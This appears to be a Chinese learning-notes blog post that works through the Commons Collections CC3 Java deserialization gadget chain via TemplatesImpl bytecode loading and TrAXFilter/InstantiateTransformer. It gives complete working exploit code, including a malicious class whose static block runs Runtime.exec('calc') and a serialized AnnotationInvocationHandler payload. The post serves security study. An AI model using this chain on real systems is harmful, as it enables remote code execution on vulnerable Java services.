CC3链

学习视频:https://www.bilibili.com/video/BV1Zf4y1F74K?spm_id_from=333.788.videopod.sections&vd_source=525a280615063349bad5e187f6bfeec3

环境搭建

环境依旧是用的和前面的CC1链一样的

笔记:https://yschen20.github.io/2025/11/05/CC1%E9%93%BE%EF%BC%88TransformedMap%E7%89%88%EF%BC%89/#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA

分析链子

之前学习的CC1链和CC6链是通过Runtime.exec()进行命令执行的,而CC3链是通过动态加载类机制来实现自动执行恶意类代码的,所以当黑名单禁用了Runtime类的时候就可以利用CC3链

CC3链的前面就是和CC1链一样,不过到最后不是反射调用Runtime类了,而是TemplatesImpl#newTransformer,利用TemplatesImpl动态类加载来执行代码

TemplatesImpl加载字节码笔记:https://yschen20.github.io/2026/01/26/%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD%E5%AD%97%E8%8A%82%E7%A0%81/#4-TemplatesImpl%E5%8A%A0%E8%BD%BD%E5%AD%97%E8%8A%82%E7%A0%81

下面会详细的重新过一遍

先看一下ClassLoader的动态类加载:

通常是用ClassLoader#loadClass来加载

image-20260128194852050

然后就会调用到ClassLoader#findClass

image-20260128195430226

最后就是调用到ClassLoader#defineClass,就会从字节中加载一个类

image-20260128200529574

但是类加载是不会执行代码的,所以就需要找一个初始化的地方,这里的defineClassprotected属性,所以就要找一个public的重写的defineClass

image-20260128200426108

最终可以找到上图这里的defineClass,在TemplatesImpl.TranletClassLoader#defineClass中会调用到ClassLoader#defineClass,并且这里是没有定义作用域的,是一个defualt方法,可以在当前这个包里调用到

然后看看在哪能调用到这个defineClass,查找用法可以看到是在TemplatesImpl#defineTransletClasses中能调用到

image-20260128201110268

这里要想走到下面的defineClass,就要满足_bytecodes不能为空,而且再下面会调用到_tfactory.getExternalExtensionsMap(),所以_tfactory也不能为空,这俩先放着,构造EXP的时候再看,这里就是给当前类中的_class属性赋值

image-20260128201342746

defineTransletClasses中还有一个点要注意的就是下面这里会有一个if判断,这里的superClass类就是要调用的恶意类,这里会检查恶意类的父类是不是常量ABSTRACT_TRANSLET,下面还有个if判断_transletIndex是不是小于0的,所以不能走进else里,要让这个条件成立,一会构造的时候再细看

image-20260128212358746

然后继续找怎么调用到defineTransletClasses,查找用法可以看到有三处地方

image-20260128202326833

其中前两个getTransletClassesgetTransletIndex最终都是返回一个值

image-20260128202425148

image-20260128202415683

在第三个getTransletInstance中可以看到是会调用_class[_transletIndex].newInstance()来进行初始化的,刚才提到类加载是不能调用执行代码的,但是初始化可以,所以如果能走到这里,就可以动态调用代码了

image-20260128202506758

这里_class的赋值是调用了defineTransletClasses()

image-20260128203045847

defineTransletClasses中就是进行一个类加载来给_class赋值

image-20260128203149552

这里getTransletInstanceprivate的,所以要继续往上找,就可以找到TemplatesImpl#newTransformer,这个方法就是public的了

image-20260128202824595

这里会直接能调用到getTransletInstance(),所以只要能触发newTransformer就好啦

image-20260128211546983

在CC1链中,最后是可以反射调用任意类方法的,就可以利用CC1的代码来反射调用到newTransformer

所以到这就可以构造链子了

构造链子

TemplatesImpl这个类是继承了Serializable接口,是可以进行序列化和反序列化的,类中的属性值也是可以通过反射进行修改的

image-20260128214252401

先创建一个TemplatesImpl对象

1
TemplatesImpl templates = new TemplatesImpl();

上面分析过了,在newTransformer中可以直接能触发getTransletInstance的,不用满足什么条件,继续看getTransletInstance里,就是要满足_name不为null,并且_classnull

image-20260128213812932

这里就直接利用反射给_class赋值,具体什么值无所谓

1
2
3
4
Class<?> templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "CC3");

然后在defineTransletClasses里有三处

image-20260128214019478

首先是_bytecodes不能为null,这个就是要加载的自定义的恶意类,看一下定义是一个二维数组

image-20260128215131401

然后去看一下它在类加载中的逻辑,就是在defineClass中是什么样的:

image-20260128215600359

可以看到是一个一维数组,然后写代码:

先写一个恶意类:

1
2
3
4
5
6
7
8
9
10
11
12
import java.io.IOException;

public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}
}

编译为 class 文件

1
javac Calc.java

或者直接在IDEA中点一下小锤子

image-20260128224235950

放到E:\tmp\目录下来测试

image-20260128220353432

然后是利用类:

1
2
3
4
5
Field byteCodesField = templatesClass.getDeclaredField("_bytecodes");
byteCodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:/tmp/Calc.class"));
byte[][] codes = {code};
byteCodesField.set(templates, codes);

继续看第二个_tfactory,是会调用到_tfactory.getExternalExtensionsMap(),所以也不能为空,否则会报错,看一下定义,是TransformerFactoryImpl类型的,并且有transient这个属性,表明它是一个不可以序列化的变量,所以现在给它赋值是没用的,在反序列化的时候是不会传进去的

image-20260128220823850

既然这样那就看看_tfactory的赋值逻辑,去看readObject

image-20260128221222759

所以这里就像readObject里的一样,给他赋值TransformerFactoryImpl

1
2
3
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

第三处就是那个if判断的部分,这里可以先不管这个,先直接调用newTransformer来看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC3 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();

Class<?> templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "CC3");

Field byteCodesField = templatesClass.getDeclaredField("_bytecodes");
byteCodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:/tmp/Calc.class"));
byte[][] codes = {code};
byteCodesField.set(templates, codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

templates.newTransformer();
}
}

正常来说如果没问题是可以加载到自定义的恶意类Calc的,然后弹计算器,但是运行后会发现出现报错:

image-20260128222307644

可以看到在TemplatesImpl.defineTransletClasses里出现问题,在TemplatesImpl里的422行:

image-20260128222423851

找到这就会发现这里就是刚才说的第三处要修改的地方,在这个if判断这下个断点调试一下:

image-20260128222852835

可以看到,因为刚才在写恶意类的时候没有继承父类,这里直接走进的else里,而且_auxClassesnull,就会导致的报错,这里有两种思路来改正:

  • 第一种就是给_auxClasses赋值,不再为null,但是这样做的画继续往下走还会有问题,因为看上面_transletIndex的值是-1了,继续到下面一个if判断时就会进入报错,所以这个思路不行
  • 第二种思路就是满足第一个if判断了

所以解决方法就是满足superClass.getName().equals(ABSTRACT_TRANSLET)这个条件,这里的superClass是自定义的恶意类Calc,要使其父类是ABSTRACT_TRANSLET,也就是AbstractTranslet

image-20260128223403291

所以这里去修改一下恶意类,使其继承AbstractTranslet类,然后就会发现只是单纯的继承是会有报错的,看一下报错发现这里需要重写两个transform方法

image-20260128223615011

这里点一下实现方法就行,IDEA直接帮写好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

然后就是重新编译并放到测试目录下,完成后再运行可以看到成功弹出计算器了

image-20260128224311842

最后就可以借用CC1链中的代码来调用newTransformer,利用反射来调用newTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);
chainedtransformer.transform(null);
HashMap<Object,Object> map = new HashMap<>();
map.put("value","value");
Map<Object,Object> decorate = TransformedMap.decorate(map,null,chainedtransformer);
Class cc = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = cc.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class,decorate);

serialize(o);
unserialize("ser.bin");

然后再加上序列化和反序列化的函数

1
2
3
4
5
6
7
8
9
public static void serialize(Object obj) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
return obj;
}

运行成功,可以弹计算器

image-20260128225714299

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();

Class<?> templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "CC3");

Field byteCodesField = templatesClass.getDeclaredField("_bytecodes");
byteCodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:/tmp/Calc.class"));
byte[][] codes = {code};
byteCodesField.set(templates, codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

// templates.newTransformer();

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);
// chainedtransformer.transform(null);
HashMap<Object,Object> map = new HashMap<>();
map.put("value","value");
Map<Object,Object> decorate = TransformedMap.decorate(map,null,chainedtransformer);
Class cc = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = cc.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object obj = declaredConstructor.newInstance(Target.class,decorate);

serialize(obj);
// unserialize("ser.bin");
}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
return obj;
}
}

补充

在 ysoserial 中的CC3链是调用的不是InvokerTransformer,而是InstantiateTransformer

image-20260129120235707

回到newTransformer看一下再往上哪里还能调用到这个方法,查找用法可以找到以下这些

image-20260129122441062

都看一下,先是Process#_main,不是用作一般对象的,就可以不用看了

然后是TemplatesImpl#getOutputProperties,这里是直接可以能调用到newTransformer的,并且也是public

image-20260129123255955

所以就可以在之前的代码中更换一下,原本是反射调用newTransformer,也可以换成getOutputProperties,其他的还是不变,依旧可以执行代码

1
2
3
4
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("getOutputProperties", null, null)
};

image-20260129132520358

不过这也不是想要找的地方,还是要调用了InvokerTransformer,继续往下看

image-20260129123746813

再下一个就是TransformerFactoryImpl类了,但是这个类没有继承Serializable接口,就不能进行序列化或反序列化

image-20260129123838180

不能序列化的时候还想传参数,就要从 class 中入手,可以去看它的构造函数,在构造函数里传,但是可以看到这个类的构造函数就很难传了,这里也就不能利用

image-20260129124228483

就继续看最后一个TrAXFilter

image-20260129124324378

这个类也是不能序列化的,但是可以看到构造函数中是传入的templates对象,然后就会直接调用到templates.newTransformer()

image-20260129124542176

所以如果可以调用到TrAXFilter类的构造函数,就可以成功执行代码了,这里就可以从 class 入手,通过构造函数来对其私有属性进行赋值

然后可以去看InstantiateTransformer#transform,这个函数就是会判断传入的是不是 class 类型,如果是,就会获取到指定类型的构造器,然后调用其构造函数

image-20260129125205443

这就可以通过InstantiateTransformer#transform调用到TrAXFilter类的构造函数,从而调用到newTransformer执行代码

看一下InstantiateTransformer的构造函数,这俩参数分别是要实例化的类的构造函数的参数类型和参数

image-20260129125812904

这里要实例化的就是TrAXFilter类,参数类型是Templates

image-20260129130028470

参数值就是前面构造好的templates

image-20260129130216395

然后调用instantiateTransformer#transform,要传入的就是要实例化的TrAXFilter类,但是这个类是不能序列化的,就要传入TrAXFilter.class

image-20260129130727192

这里就像CC1链中一样调用ChainedTransformer来给这些代码包起来:

1
2
3
4
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};

image-20260129132646661

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();

Class<?> templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "CC3");

Field byteCodesField = templatesClass.getDeclaredField("_bytecodes");
byteCodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:/tmp/Calc.class"));
byte[][] codes = {code};
byteCodesField.set(templates, codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

// templates.newTransformer();

// Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(templates),
//// new InvokerTransformer("newTransformer", null, null)
// new InvokerTransformer("getOutputProperties", null, null)
// };

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};

ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);
// chainedtransformer.transform(null);
HashMap<Object,Object> map = new HashMap<>();
map.put("value","value");
Map<Object,Object> decorate = TransformedMap.decorate(map,null,chainedtransformer);
Class cc = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = cc.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object obj = declaredConstructor.newInstance(Target.class,decorate);

// serialize(obj);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
return obj;
}
}

CC3链
https://yschen20.github.io/2026/01/28/CC3链/
作者
Suzen
发布于
2026年1月28日
更新于
2026年1月29日
许可协议